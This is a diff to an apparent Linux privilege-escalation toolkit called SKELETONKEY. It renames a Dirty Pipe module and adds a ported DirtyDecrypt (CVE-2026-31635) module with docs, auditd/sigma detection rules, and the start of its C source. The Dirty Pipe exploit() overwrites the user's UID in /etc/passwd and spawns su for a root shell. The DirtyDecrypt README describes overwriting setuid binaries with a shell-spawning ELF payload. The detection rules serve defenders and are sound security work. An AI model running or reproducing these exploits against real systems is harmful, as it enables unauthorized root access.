||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module
|
||||
*
|
||||
* Status: 🔵 DETECT-ONLY for now. Exploit lifecycle is a follow-up
|
||||
* commit (the C code is well-understood — Max Kellermann's public PoC
|
||||
* is the reference — but landing it under the iamroot_module
|
||||
* is the reference — but landing it under the skeletonkey_module
|
||||
* interface needs the shared passwd-field/exploit-su helpers in core/
|
||||
* which are deferred to Phase 1.5).
|
||||
*
|
||||
@@ -15,24 +15,23 @@
|
||||
*
|
||||
* Detect logic:
|
||||
* - Parse uname() release into major.minor.patch
|
||||
* - If kernel < 5.8 → IAMROOT_OK (bug not introduced yet)
|
||||
* - If kernel < 5.8 → SKELETONKEY_OK (bug not introduced yet)
|
||||
* - If kernel is on a branch with a known backport, compare patch
|
||||
* level (above threshold = patched, below = vulnerable)
|
||||
* - If kernel >= 5.17 → IAMROOT_OK (mainline fix)
|
||||
* - Otherwise → IAMROOT_VULNERABLE
|
||||
* - If kernel >= 5.17 → SKELETONKEY_OK (mainline fix)
|
||||
* - Otherwise → SKELETONKEY_VULNERABLE
|
||||
*
|
||||
* Edge case: distros sometimes ship custom-numbered kernels (e.g.
|
||||
* Ubuntu's `5.15.0-100-generic` where the .100 is Ubuntu's release
|
||||
* counter, NOT the upstream patch level). For now we treat that as
|
||||
* an unknown distro backport and report IAMROOT_TEST_ERROR with a
|
||||
* an unknown distro backport and report SKELETONKEY_TEST_ERROR with a
|
||||
* hint. A future enhancement: parse /proc/version's full string
|
||||
* which usually includes the upstream patch level after the distro
|
||||
* suffix.
|
||||
*/
|
||||
|
||||
#include "iamroot_modules.h"
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
/* _GNU_SOURCE is passed via -D in the top-level Makefile; do not
|
||||
* redefine here (warning: redefined). */
|
||||
@@ -42,6 +41,11 @@
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h" /* used inside this block only */
|
||||
#include "../../core/host.h"
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sys/stat.h>
|
||||
@@ -223,7 +227,7 @@ static const struct kernel_range dirty_pipe_range = {
|
||||
* /etc/passwd writes; safe to run from --scan --active. */
|
||||
static int dirty_pipe_active_probe(void)
|
||||
{
|
||||
char probe_path[] = "/tmp/iamroot-dirty-pipe-probe-XXXXXX";
|
||||
char probe_path[] = "/tmp/skeletonkey-dirty-pipe-probe-XXXXXX";
|
||||
int fd = mkstemp(probe_path);
|
||||
if (fd < 0) return -1;
|
||||
const char seed[16] = "ABCDABCDABCDABCD";
|
||||
@@ -252,24 +256,29 @@ static int dirty_pipe_active_probe(void)
|
||||
return readback[4] == 'X' ? 1 : 0;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] dirty_pipe: could not parse kernel version\n");
|
||||
return IAMROOT_TEST_ERROR;
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] dirty_pipe: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug introduced in 5.8. */
|
||||
if (v.major < 5 || (v.major == 5 && v.minor < 8)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 8, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[i] dirty_pipe: kernel %s predates the bug (introduced in 5.8)\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, &v);
|
||||
bool patched_by_version = kernel_range_is_patched(&dirty_pipe_range, v);
|
||||
|
||||
/* Active probe overrides version-only verdict when requested.
|
||||
* The version check is necessary-but-not-sufficient: distros
|
||||
@@ -284,9 +293,9 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
if (probe == 1) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: ACTIVE PROBE CONFIRMED — primitive lands "
|
||||
"(version %s)\n", v.release);
|
||||
"(version %s)\n", v->release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
if (probe == 0) {
|
||||
if (!ctx->json) {
|
||||
@@ -294,7 +303,7 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
"primitive blocked (likely patched%s)\n",
|
||||
patched_by_version ? "" : ", or distro silently backported");
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
/* probe < 0: probe machinery failed (mkstemp/open/read) — fall
|
||||
* back to version-only verdict and report TEST_ERROR caveat */
|
||||
@@ -307,37 +316,40 @@ static iamroot_result_t dirty_pipe_detect(const struct iamroot_ctx *ctx)
|
||||
if (patched_by_version) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] dirty_pipe: kernel %s is patched (version-only check; "
|
||||
"use --active to confirm empirically)\n", v.release);
|
||||
"use --active to confirm empirically)\n", v->release);
|
||||
}
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] dirty_pipe: kernel %s appears VULNERABLE (version-only check)\n"
|
||||
" Confirm empirically: re-run with --scan --active\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return IAMROOT_VULNERABLE;
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Re-confirm vulnerability before writing to /etc/passwd. */
|
||||
iamroot_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != IAMROOT_VULNERABLE) {
|
||||
skeletonkey_result_t pre = dirty_pipe_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] dirty_pipe: detect() says not vulnerable; refusing to exploit\n");
|
||||
return pre;
|
||||
}
|
||||
|
||||
/* Resolve current user. */
|
||||
/* Resolve current user. Consult ctx->host->is_root for the
|
||||
* already-root short-circuit so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
uid_t euid = geteuid();
|
||||
struct passwd *pw = getpwuid(euid);
|
||||
if (!pw) {
|
||||
fprintf(stderr, "[-] dirty_pipe: getpwuid(%d) failed: %s\n", euid, strerror(errno));
|
||||
return IAMROOT_TEST_ERROR;
|
||||
}
|
||||
if (euid == 0) {
|
||||
fprintf(stderr, "[i] dirty_pipe: already running as root — nothing to escalate\n");
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Find the UID field. Need a 4-digit-or-similar UID we can replace
|
||||
@@ -349,7 +361,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
if (!find_passwd_uid_field(pw->pw_name, &uid_off, &uid_len, orig_uid)) {
|
||||
fprintf(stderr, "[-] dirty_pipe: could not locate %s's UID field in /etc/passwd\n",
|
||||
pw->pw_name);
|
||||
return IAMROOT_TEST_ERROR;
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: user '%s' UID '%s' at offset %lld (len %zu)\n",
|
||||
@@ -368,7 +380,7 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
* far past the file's first 4096 bytes. Refuse cleanly. */
|
||||
if ((uid_off & 0xfff) == 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: UID field is page-aligned; primitive can't write here\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (!ctx->json) {
|
||||
@@ -377,13 +389,13 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
}
|
||||
if (dirty_pipe_write("/etc/passwd", uid_off, replacement, uid_len) < 0) {
|
||||
fprintf(stderr, "[-] dirty_pipe: page-cache write failed\n");
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
if (ctx->no_shell) {
|
||||
fprintf(stderr, "[+] dirty_pipe: --no-shell — patch landed; not spawning su.\n"
|
||||
"[i] dirty_pipe: revert with `iamroot --cleanup dirty_pipe`\n");
|
||||
return IAMROOT_EXPLOIT_OK;
|
||||
"[i] dirty_pipe: revert with `skeletonkey --cleanup dirty_pipe`\n");
|
||||
return SKELETONKEY_EXPLOIT_OK;
|
||||
}
|
||||
|
||||
/* /etc/passwd now reports our user as uid 0 (in the page cache).
|
||||
@@ -394,35 +406,63 @@ static iamroot_result_t dirty_pipe_exploit(const struct iamroot_ctx *ctx)
|
||||
/* If execlp returns, su didn't actually pop root — revert and report. */
|
||||
perror("execlp(su)");
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_EXPLOIT_FAIL;
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
static iamroot_result_t dirty_pipe_cleanup(const struct iamroot_ctx *ctx)
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[*] dirty_pipe: evicting /etc/passwd from page cache\n");
|
||||
}
|
||||
revert_passwd_page_cache();
|
||||
return IAMROOT_OK;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: splice() / F_GETPIPE_SZ / posix_fadvise() are
|
||||
* Linux-only kernel surface; the Dirty Pipe primitive is structurally
|
||||
* unreachable elsewhere. Stub out cleanly so the module still
|
||||
* registers and `--list` / `--detect-rules` work on macOS/BSD dev
|
||||
* boxes — and so the top-level `make` actually completes there. */
|
||||
static skeletonkey_result_t dirty_pipe_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] dirty_pipe: Linux-only module "
|
||||
"(splice + PIPE_BUF_FLAG_CAN_MERGE) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] dirty_pipe: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t dirty_pipe_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained so
|
||||
* `iamroot --detect-rules --format=auditd` works without a separate
|
||||
* `skeletonkey --detect-rules --format=auditd` works without a separate
|
||||
* data-dir install. */
|
||||
static const char dirty_pipe_auditd[] =
|
||||
"# Dirty Pipe (CVE-2022-0847) — auditd detection rules\n"
|
||||
"# See modules/dirty_pipe_cve_2022_0847/detect/auditd.rules for full version.\n"
|
||||
"-w /etc/passwd -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k iamroot-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k iamroot-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k iamroot-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k iamroot-dirty-pipe-splice\n";
|
||||
"-w /etc/passwd -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-w /etc/sudoers.d -p wa -k skeletonkey-dirty-pipe\n"
|
||||
"-a always,exit -F arch=b64 -S splice -k skeletonkey-dirty-pipe-splice\n"
|
||||
"-a always,exit -F arch=b32 -S splice -k skeletonkey-dirty-pipe-splice\n";
|
||||
|
||||
static const char dirty_pipe_sigma[] =
|
||||
"title: Possible Dirty Pipe exploitation (CVE-2022-0847)\n"
|
||||
"id: f6b13c08-iamroot-dirty-pipe\n"
|
||||
"id: f6b13c08-skeletonkey-dirty-pipe\n"
|
||||
"status: experimental\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
@@ -435,7 +475,7 @@ static const char dirty_pipe_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.0847]\n";
|
||||
|
||||
const struct iamroot_module dirty_pipe_module = {
|
||||
const struct skeletonkey_module dirty_pipe_module = {
|
||||
.name = "dirty_pipe",
|
||||
.cve = "CVE-2022-0847",
|
||||
.summary = "pipe_buffer CAN_MERGE flag inheritance → page-cache write",
|
||||
@@ -451,7 +491,7 @@ const struct iamroot_module dirty_pipe_module = {
|
||||
.detect_falco = NULL,
|
||||
};
|
||||
|
||||
void iamroot_register_dirty_pipe(void)
|
||||
void skeletonkey_register_dirty_pipe(void)
|
||||
{
|
||||
iamroot_register(&dirty_pipe_module);
|
||||
skeletonkey_register(&dirty_pipe_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* dirty_pipe_cve_2022_0847 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
#define DIRTY_PIPE_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module dirty_pipe_module;
|
||||
|
||||
#endif
|
||||
@@ -0,0 +1,81 @@
|
||||
# dirtydecrypt — CVE-2026-31635
|
||||
|
||||
> 🟡 **PRIMITIVE / ported.** Faithful port of the public V12 PoC into
|
||||
> the `skeletonkey_module` interface. **Not yet validated end-to-end on
|
||||
> a vulnerable-kernel VM** — see _Verification status_ below.
|
||||
|
||||
## Summary
|
||||
|
||||
DirtyDecrypt (a.k.a. DirtyCBC) is a missing copy-on-write guard in
|
||||
`rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function decrypts
|
||||
incoming rxgk socket buffers **in place** before the HMAC is verified.
|
||||
When the skb fragment pages are page-cache pages — spliced in via
|
||||
`MSG_SPLICE_PAGES` over loopback — the in-place AES decrypt corrupts the
|
||||
page cache of a read-only file.
|
||||
|
||||
It is a sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / 43500): same bug class, different kernel subsystem
|
||||
(rxgk / AFS-style rxrpc encryption rather than algif_aead or xfrm-ESP).
|
||||
|
||||
## Primitive
|
||||
|
||||
Each `fire()`:
|
||||
|
||||
1. Adds an `rxrpc` security key holding a crafted rxgk XDR token.
|
||||
2. Opens an `AF_RXRPC` client + a fake UDP server on loopback and
|
||||
completes the rxgk handshake.
|
||||
3. Forges a DATA packet whose **wire header comes from userspace** and
|
||||
whose **payload pages come from the target file's page cache**
|
||||
(`splice` + `vmsplice`).
|
||||
4. The kernel decrypts the spliced page-cache pages in place — the HMAC
|
||||
check then fails (expected), but the page cache is already mutated.
|
||||
|
||||
`pagecache_write()` drives a **sliding-window** technique: byte[0] of
|
||||
each corrupted 16-byte AES block is uniformly random (≈1/256 chance of
|
||||
the wanted value), and round _i+1_ at offset _S+i+1_ overwrites the
|
||||
15-byte collateral of round _i_ without disturbing the byte round _i_
|
||||
fixed. Net cost ≈ 256 fires per byte.
|
||||
|
||||
The exploit rewrites the first 120 bytes of a setuid-root binary
|
||||
(`/usr/bin/su` and friends) with a tiny ET_DYN ELF that calls
|
||||
`setuid(0)` + `execve("/bin/sh")`.
|
||||
|
||||
## Operations
|
||||
|
||||
| Op | Behaviour |
|
||||
|---|---|
|
||||
| `--scan` | Checks AF_RXRPC reachability + a readable setuid carrier. With `--active`, fires the primitive against a disposable `/tmp` file and reports VULNERABLE/OK empirically. |
|
||||
| `--exploit … --i-know` | Forks a child that corrupts the carrier's page cache and execs it for a root shell. `--no-shell` stops after the page-cache write. |
|
||||
| `--cleanup` | Evicts the carrier from the page cache (`POSIX_FADV_DONTNEED` + `drop_caches`). The on-disk binary is never written. |
|
||||
| `--detect-rules` | Emits embedded auditd + sigma rules. |
|
||||
|
||||
## Preconditions
|
||||
|
||||
- `AF_RXRPC` reachable (the `rxrpc` module loadable / built in).
|
||||
- A readable setuid-root binary to use as the payload carrier.
|
||||
- x86_64 (the embedded ELF payload is x86_64 shellcode).
|
||||
|
||||
## Verification status
|
||||
|
||||
This module is a **faithful port** of
|
||||
<https://github.com/v12-security/pocs/tree/main/dirtydecrypt>, compiled
|
||||
into the SKELETONKEY module interface. The **exploit body** has not
|
||||
been validated end-to-end against a known-vulnerable kernel inside the
|
||||
SKELETONKEY CI matrix.
|
||||
|
||||
**`detect()` is now version-pinned** against the mainline fix commit
|
||||
[`a2567217ade970ecc458144b6be469bc015b23e5`][fix] (Linux 7.0): kernels
|
||||
< 7.0 predate the vulnerable rxgk RESPONSE-handling code (Debian
|
||||
tracker confirms older stable branches as <not-affected, vulnerable
|
||||
code not present>), kernels ≥ 7.0 have the fix. With `--active`, the
|
||||
detector runs the rxgk primitive against a `/tmp` sentinel and reports
|
||||
empirically — catches pre-fix 7.0-rc kernels and any distro rebuilds
|
||||
the version check misses.
|
||||
|
||||
[fix]: https://git.kernel.org/linus/a2567217ade970ecc458144b6be469bc015b23e5
|
||||
|
||||
**Before promoting to 🟢:** validate the exploit end-to-end on a 7.0-rc
|
||||
kernel that pre-dates commit `a2567217ade…`. The Debian tracker entry
|
||||
for CVE-2026-31635 is the source of truth for branch-backport
|
||||
thresholds; extend the `kernel_range` table when distros publish
|
||||
stable backports.
|
||||
@@ -0,0 +1,47 @@
|
||||
# NOTICE — dirtydecrypt
|
||||
|
||||
## Vulnerability
|
||||
|
||||
**CVE-2026-31635** — "DirtyDecrypt" / "DirtyCBC". Missing copy-on-write
|
||||
guard in `rxgk_decrypt_skb()` (`net/rxrpc/rxgk_common.h`). The function
|
||||
calls `skb_to_sgvec()` then `crypto_krb5_decrypt()` with no
|
||||
`skb_cow_data()`; the `krb5enc` AEAD template (`crypto/krb5enc.c`)
|
||||
decrypts **in place** before verifying the HMAC. When the skb fragment
|
||||
pages are page-cache pages (spliced in via `MSG_SPLICE_PAGES` over
|
||||
loopback), the in-place decrypt corrupts the page cache of a read-only
|
||||
file. The same pattern exists in rxkad (`rxkad_verify_packet_2`).
|
||||
|
||||
Sibling of Copy Fail (CVE-2026-31431) and Dirty Frag
|
||||
(CVE-2026-43284 / CVE-2026-43500) — all are page-cache write
|
||||
primitives that abuse a missing COW boundary.
|
||||
|
||||
## Research credit
|
||||
|
||||
Discovered and reported by **Zellic** and the **V12 security** team.
|
||||
Public proof-of-concept by **Luna Tong** ("cts" / "gf_256") of the
|
||||
V12 security team.
|
||||
|
||||
> Reference PoC: <https://github.com/v12-security/pocs/tree/main/dirtydecrypt>
|
||||
|
||||
The upstream PoC file (`poc.c`) carries no author, project, or
|
||||
`LICENSE` header of its own — its header is a purely technical
|
||||
description of the bug. The credit above is from the public
|
||||
disclosure, not from the file. CVE-2026-31635 was assigned for the
|
||||
flaw; its fix commit is not pinned in this module (see below).
|
||||
|
||||
## SKELETONKEY role
|
||||
|
||||
`skeletonkey_modules.c` is a port of the V12 PoC into the
|
||||
`skeletonkey_module` interface. The exploit primitive — the
|
||||
`fire()` / `pagecache_write()` sliding-window machinery, the rxgk XDR
|
||||
token builder, the 120-byte ET_DYN ELF payload — is reproduced from
|
||||
that PoC. SKELETONKEY adds the detect/cleanup lifecycle, an `--active`
|
||||
sentinel probe, `--no-shell` support, and the embedded detection
|
||||
rules. Research credit belongs to the people above.
|
||||
|
||||
## Verification status
|
||||
|
||||
**Ported, not yet validated end-to-end on a vulnerable-kernel VM.**
|
||||
The CVE-2026-31635 fix commit is not yet pinned in this module, so
|
||||
`detect()` does not perform a kernel-version patched/vulnerable
|
||||
verdict — see `MODULE.md`.
|
||||
@@ -0,0 +1,28 @@
|
||||
# DirtyDecrypt (CVE-2026-31635) — auditd detection rules
|
||||
#
|
||||
# The rxgk in-place decrypt corrupts the page cache of a read-only
|
||||
# file. These rules flag the syscall surface the exploit drives and
|
||||
# writes to the setuid binaries it targets.
|
||||
#
|
||||
# Install: copy into /etc/audit/rules.d/ and `augenrules --load`, or
|
||||
# skeletonkey --detect-rules --format=auditd | sudo tee \
|
||||
# /etc/audit/rules.d/99-skeletonkey.rules
|
||||
|
||||
# Modification of common payload carriers / credential files
|
||||
-w /usr/bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /bin/su -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/mount -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /usr/bin/chsh -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/passwd -p wa -k skeletonkey-dirtydecrypt
|
||||
-w /etc/shadow -p wa -k skeletonkey-dirtydecrypt
|
||||
|
||||
# AF_RXRPC socket creation (family 33) — core of the rxgk trigger
|
||||
-a always,exit -F arch=b64 -S socket -F a0=33 -k skeletonkey-dirtydecrypt-rxrpc
|
||||
|
||||
# rxrpc security keys added to the process keyring
|
||||
-a always,exit -F arch=b64 -S add_key -k skeletonkey-dirtydecrypt-key
|
||||
|
||||
# splice() drives page-cache pages into the forged DATA packet
|
||||
-a always,exit -F arch=b64 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
-a always,exit -F arch=b32 -S splice -k skeletonkey-dirtydecrypt-splice
|
||||
@@ -0,0 +1,32 @@
|
||||
title: Possible DirtyDecrypt exploitation (CVE-2026-31635)
|
||||
id: 7c1e9a40-skeletonkey-dirtydecrypt
|
||||
status: experimental
|
||||
description: |
|
||||
Detects the file-modification footprint of the rxgk page-cache write
|
||||
(DirtyDecrypt / DirtyCBC, CVE-2026-31635): non-root creation of
|
||||
AF_RXRPC sockets followed by modification of a setuid-root binary or
|
||||
a credential file.
|
||||
references:
|
||||
- https://github.com/v12-security/pocs/tree/main/dirtydecrypt
|
||||
logsource:
|
||||
product: linux
|
||||
service: auditd
|
||||
detection:
|
||||
modification:
|
||||
type: 'PATH'
|
||||
name|startswith:
|
||||
- '/usr/bin/su'
|
||||
- '/bin/su'
|
||||
- '/usr/bin/mount'
|
||||
- '/usr/bin/passwd'
|
||||
- '/usr/bin/chsh'
|
||||
- '/etc/passwd'
|
||||
- '/etc/shadow'
|
||||
not_root:
|
||||
auid|expression: '!= 0'
|
||||
condition: modification and not_root
|
||||
level: high
|
||||
tags:
|
||||
- attack.privilege_escalation
|
||||
- attack.t1068
|
||||
- cve.2026.31635
|
||||
@@ -0,0 +1,963 @@
|
||||
/*
|
||||
* dirtydecrypt_cve_2026_31635 — SKELETONKEY module
|
||||
*
|
||||
* DirtyDecrypt / DirtyCBC (CVE-2026-31635) — missing copy-on-write guard
|
||||
* in rxgk_decrypt_skb() (net/rxrpc/rxgk_common.h). rxgk_decrypt_skb()
|
||||
* does skb_to_sgvec() + crypto_krb5_decrypt() with no skb_cow_data();
|
||||
* the krb5enc AEAD template decrypts in-place BEFORE verifying the HMAC.
|
||||
* When skb frag pages are page-cache pages (spliced in via
|
||||
* MSG_SPLICE_PAGES over loopback), the in-place decrypt corrupts the
|
||||
* page cache of a read-only file. Sibling of Copy Fail / Dirty Frag.
|
||||
*
|
||||
* This module is a faithful port of the public V12 security PoC
|
||||
* (rxgk pagecache write, github.com/v12-security/pocs/dirtydecrypt,
|
||||
* Luna Tong / "cts"). The exploit primitive (the sliding-window
|
||||
* fire()/pagecache_write() machinery, the rxgk XDR token builder, the
|
||||
* 120-byte ET_DYN ELF) is reproduced from that PoC; see NOTICE.md.
|
||||
*
|
||||
* Port adaptations vs. the standalone PoC:
|
||||
* - wrapped in the skeletonkey_module detect/exploit/cleanup interface
|
||||
* - exploit() runs the PoC body in a forked child so the PoC's
|
||||
* exit()/die() paths cannot tear down the skeletonkey dispatcher
|
||||
* - honours ctx->no_shell (corrupt + verify, do not spawn the shell)
|
||||
* - adds an --active sentinel probe that fires the primitive against
|
||||
* a disposable /tmp file instead of a setuid binary
|
||||
* - the on-disk binary is never written; cleanup() evicts the page
|
||||
* cache (the corruption is a page-cache-only write)
|
||||
*
|
||||
* VERIFICATION STATUS: ported, NOT yet validated end-to-end on a
|
||||
* vulnerable-kernel VM. The fix commit for CVE-2026-31635 is not yet
|
||||
* pinned in this module, so detect() does not do a version-based
|
||||
* patched/vulnerable verdict — see detect() and MODULE.md.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
#include <sys/utsname.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
/* _GNU_SOURCE / _FILE_OFFSET_BITS are passed via -D in the top-level
|
||||
* Makefile; do not redefine here (warning: redefined). */
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <stdint.h>
|
||||
#include <fcntl.h>
|
||||
#include <errno.h>
|
||||
#include <sched.h>
|
||||
#include <time.h>
|
||||
#include <poll.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/types.h>
|
||||
#include <sys/socket.h>
|
||||
#include <sys/uio.h>
|
||||
#include <sys/ioctl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <netinet/in.h>
|
||||
#include <arpa/inet.h>
|
||||
#include <net/if.h>
|
||||
|
||||
#ifdef __has_include
|
||||
# if __has_include(<linux/rxrpc.h>)
|
||||
# include <linux/if.h>
|
||||
# include <linux/rxrpc.h>
|
||||
# include <linux/keyctl.h>
|
||||
# else
|
||||
# define DD_NEED_RXRPC_DEFS
|
||||
# endif
|
||||
#else
|
||||
# include <linux/if.h>
|
||||
# include <linux/rxrpc.h>
|
||||
# include <linux/keyctl.h>
|
||||
#endif
|
||||
|
||||
#ifndef AF_RXRPC
|
||||
#define AF_RXRPC 33
|
||||
#endif
|
||||
#ifndef SOL_RXRPC
|
||||
#define SOL_RXRPC 272
|
||||
#endif
|
||||
|
||||
#ifdef DD_NEED_RXRPC_DEFS
|
||||
#define KEY_SPEC_PROCESS_KEYRING (-2)
|
||||
#define RXRPC_SECURITY_KEY 1
|
||||
#define RXRPC_MIN_SECURITY_LEVEL 4
|
||||
#define RXRPC_SECURITY_ENCRYPT 2
|
||||
#define RXRPC_USER_CALL_ID 1
|
||||
struct sockaddr_rxrpc {
|
||||
unsigned short srx_family;
|
||||
uint16_t srx_service;
|
||||
uint16_t transport_type;
|
||||
uint16_t transport_len;
|
||||
union {
|
||||
unsigned short family;
|
||||
struct sockaddr_in sin;
|
||||
struct sockaddr_in6 sin6;
|
||||
} transport;
|
||||
};
|
||||
#endif
|
||||
|
||||
#define RXGK_SECURITY_INDEX 6
|
||||
#define ENCTYPE_AES128_CTS 17
|
||||
#define AES_KEY_LEN 16
|
||||
|
||||
struct rxrpc_wire_header {
|
||||
uint32_t epoch;
|
||||
uint32_t cid;
|
||||
uint32_t callNumber;
|
||||
uint32_t seq;
|
||||
uint32_t serial;
|
||||
uint8_t type;
|
||||
uint8_t flags;
|
||||
uint8_t userStatus;
|
||||
uint8_t securityIndex;
|
||||
uint16_t cksum;
|
||||
uint16_t serviceId;
|
||||
} __attribute__((packed));
|
||||
|
||||
#define RXRPC_PACKET_TYPE_DATA 1
|
||||
#define RXRPC_PACKET_TYPE_CHALLENGE 6
|
||||
#define RXRPC_LAST_PACKET 0x04
|
||||
|
||||
/* dd_verbose gates step/status chatter; errors always print. Set per
|
||||
* invocation from !ctx->json before any helper runs. */
|
||||
static int dd_verbose = 1;
|
||||
#define LOG(fmt, ...) do { if (dd_verbose) \
|
||||
fprintf(stderr, "[*] dirtydecrypt: " fmt "\n", ##__VA_ARGS__); } while (0)
|
||||
#define ERR(fmt, ...) fprintf(stderr, "[-] dirtydecrypt: " fmt "\n", ##__VA_ARGS__)
|
||||
|
||||
/* Candidate setuid-root targets, in preference order. */
|
||||
static const char *const dd_targets[] = {
|
||||
